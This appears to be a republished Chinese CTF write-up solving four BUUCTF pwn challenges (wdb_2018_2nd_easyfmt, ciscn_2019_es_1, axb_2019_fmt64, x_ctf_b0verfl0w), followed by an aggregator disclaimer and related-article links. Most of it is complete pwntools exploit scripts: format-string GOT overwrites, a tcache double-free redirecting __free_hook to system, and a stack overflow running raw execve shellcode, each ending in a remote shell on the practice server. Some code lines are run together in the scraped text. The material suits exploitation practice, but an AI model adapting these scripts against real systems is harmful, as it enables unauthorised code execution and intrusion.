PWN-PRACTICE-BUUCTF-21

PWN-PRACTICE-BUUCTF-21

    • wdb_2018_2nd_easyfmt
    • ciscn_2019_es_1
    • axb_2019_fmt64
    • x_ctf_b0verfl0w

wdb_2018_2nd_easyfmt

格式化字符串漏洞
第一次printf通过printf_got将printf的实际地址打印出来,计算libc基地址,得到system的实际地址
第二次printf通过printf_got将printf的实际地址改写为system的实际地址,这样之后的printf实际上是执行的system
第三次输入"/bin/sh\x00",即会执行system("/bin/sh\x00")

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level='debug'
#io=process('./wdb_2018_2nd_easyfmt')
io=remote('node4.buuoj.cn',27039)
elf=ELF('./wdb_2018_2nd_easyfmt')
libc=ELF('./libc-2.23-16-x32.so')
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
io.sendlineafter("repeater?\n",payload)
printf_addr=u32(io.recvuntil('\xf7')[-4:])
print("printf_addr=="+hex(printf_addr))
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr=="+hex(system_addr))
payload=fmtstr_payload(6,{printf_got:system_addr})
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

ciscn_2019_es_1

tcache
参考:ciscn_2019_es_1

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./ciscn_2019_es_1")
io=remote("node4.buuoj.cn",28810)
elf=ELF("./ciscn_2019_es_1")
libc=ELF("./libc-2.27-18-x64.so")def add(name_size,name,com_call):io.sendlineafter("choice:","1")io.sendlineafter("the size of compary's name\n",str(name_size))io.sendlineafter("input name:\n",name)io.sendlineafter("input compary call:\n",com_call)
def show(index):io.sendlineafter("choice:","2")io.sendlineafter("input the index:\n",str(index))
def free(index):io.sendlineafter("choice:","3")io.sendlineafter("input the index:",str(index))
def exit():io.sendlineafter("choice:","4")#gdb.attach(io)
#pause()add(0x410,"aaaa","130")#0
add(0x28,"bbbb","131")#1
add(0x68,"/bin/sh\x00","132")#2#pause()free(0)#pause()show(0)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-96-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]#pause()free(1)#pause()free(1)#pause()add(0x28,p64(free_hook),"133")#3#pause()add(0x28,"dddd","134")#4#pause()add(0x28,p64(system),"135")#5#pause()free(2)#pause()io.interactive()

axb_2019_fmt64

格式化字符串漏洞,参考:[BUUCTF]PWN——axb_2019_fmt64(64位格式化字符串改got表)

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./axb_2019_fmt64")
io=remote("node4.buuoj.cn",26526)
elf=ELF("./axb_2019_fmt64")
libc=ELF("./libc-2.23-16-x64.so")
strlen_got=elf.got["strlen"]io.recvuntil("Please tell me:")
payload="%9$saaaa"+p64(strlen_got)
io.sendline(payload)
strlen_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("strlen_addr=="+hex(strlen_addr))
libc_base=strlen_addr-libc.sym["strlen"]
system=libc_base+libc.sym["system"]
print("system=="+hex(system))
high_sys=(system>>16)&0xff
low_sys=system&0xffffio.recvuntil("Please tell me:")
payload="%"+str(high_sys-9)+"c%12$hhn"
payload+="%"+str(low_sys-high_sys)+"c%13$hn"
#print(len(payload))#25
payload=payload.ljust(32,"a")
print(len(payload))#32
payload+=p64(strlen_got+2)+p64(strlen_got)#12 13
io.sendline(payload)io.recvuntil("Please tell me:")
io.sendline(";/bin/sh\x00")
io.sendline("cat flag")io.interactive()

x_ctf_b0verfl0w

32位elf,NX disabled,堆栈可执行
栈溢出,通过移动栈顶指针esp,实现ret2shellcode

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level='debug'
#io=process('./x_ctf_b0verfl0w')
io=remote('node4.buuoj.cn',27191)
elf=ELF('./x_ctf_b0verfl0w')
jmp_esp=0x08048504
shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload=shellcode.ljust(0x24,'a')
payload+=p32(jmp_esp)
payload+=asm('sub esp, 0x28;jmp esp')
io.recvuntil('name?\n')
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438080.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCR arduino problem list

OpenCR arduino problem list 1、安装 直接使用arduino boardmanager安装,下载很慢,几乎不能成功安装。借鉴http://www.rosclub.cn/post-1037.html,下载需要组件,成功安装。 需要组件opencr_core、opencr_tools、gcc-arm-none-ea…

PWN-PRACTICE-BUUCTF-22

PWN-PRACTICE-BUUCTF-22hitcontraining_unlinkpicoctf_2018_leak_mesuctf_2018_basic pwnaxb_2019_brop64hitcontraining_unlink unlink,参考:[BUUCTF]PWN——hitcontraining_unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("./bam…

javaee, javaweb和javase的区别以及各自的知识体系

JavaSE Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类,并为 Java Platform,Enterprise Edition(Java EE)提供基础。 JavaE…

PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23gyctf_2020_some_thing_excetingaxb_2019_heap[极客大挑战 2019]Not Badinndy_echogyctf_2020_some_thing_exceting 程序读取了flag到bss段上的0x6020A8地址处 存在uaf漏洞,利用fastbins的LIFO原则,create大小合适的chunk并free …

.NET 实现并行的几种方式(三)

在前两篇随笔中,先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写,在这里补充一下: 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出,ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前,如果我们使用线程。一般有以下几种方式: 使用System.Threading.Thread 类,调用实例方法Start()开启一个新线程,调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言: 项目中进行Unit Test时,肯定会用到框架,因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多,在这里只是对MS Test和NUnit Test进行一下比较, 因为这两个框架用的较多,也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…

Python3 基础学习笔记 C01【变量和简单数据类型】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

Python3 基础学习笔记 C02【列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-28

PWN-PRACTICE-BUUCTF-28wustctf2020_name_your_dogjudgement_mna_2016gyctf_2020_some_thing_interestingxman_2019_formatwustctf2020_name_your_dog Partial RELRO,可修改got表 scanf_got距离Dogs56个字节 当index为-7时,即可改写scanf_got为shell的地…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了,人人都在谈敏捷,人人都在学习Scrum和XP... 为了不落后他人,于是我也开始学习Scrum,今天主要是对我最近阅读的相关资料,根据自己的理解,用自己的话来讲述S…

有关不蒜子访问统计无法显示的解决方法

十月初,不蒜子统计失效了,如下图: 进入不蒜子官网看看: 问题来了,官网写着:因七牛强制过期『dn-lbstatics.qbox.me』域名,与客服沟通无果,只能更换域名到『busuanzi.ibruce.info』…

PWN-PRACTICE-BUUCTF-29

PWN-PRACTICE-BUUCTF-29actf_2019_babyheapwustctf2020_easyfast强网杯2019 拟态 STKOFhitcon_2018_children_tcacheactf_2019_babyheap UAF,创建两个非0x10大小的chunk,比如两个0x20 程序会创建四个chunk,大小依次为0x10,0x20&a…